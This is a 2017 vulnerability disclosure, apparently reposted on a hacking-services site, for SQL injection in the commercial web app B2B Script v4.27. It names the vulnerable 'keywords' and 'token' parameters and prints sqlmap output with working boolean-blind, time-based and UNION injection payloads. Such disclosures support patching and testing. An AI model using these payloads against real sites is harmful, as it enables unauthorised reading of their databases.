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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Vulnerability: B2B Script v4.27 - SQL Injection
# Date: 18.01.2017
# Software link: http://itechscripts.com/b2b-script/
# Demo: http://b2b.itechscripts.com
# Price: 199$
# Category: webapps
# Exploit Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawidmorawski1990@gmail.com
#######################################

1. Description
An attacker can exploit this vulnerability to read from the database.

2. SQL Injection / Proof of Concept:

http://localhost/[PATH]/search.php?keywords=[SQL]
SQLmap outout:

Parameter: keywords (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: keywords=-7908') OR 3641=3641#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: keywords=Products') UNION ALL SELECT
NULL,CONCAT(0x716b7a7871,0x68634473486965586e6b57754358736b487a43564c6963646e556549454e476177776a5a6a7a4c4c,0x71767a7a71)#
---
[INFO] testing MySQL
 [INFO] confirming MySQL
 [INFO] the back-end DBMS is MySQL

#########################################

http://localhost/[PATH]/catcompany.php?token=[SQL]
SQLmap outout:

Parameter: token (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND 9125=9125 AND
'HhOm'='HhOm

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND SLEEP(5) AND
'dWKJ'='dWKJ

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: token=-7417' UNION ALL SELECT
NULL,CONCAT(0x7171707071,0x6a6c6d484f58726e48446167417a66756464445941464844416856527a634a704f4b79647a494654,0x716b786271),NULL,NULL,NULL,NULL--
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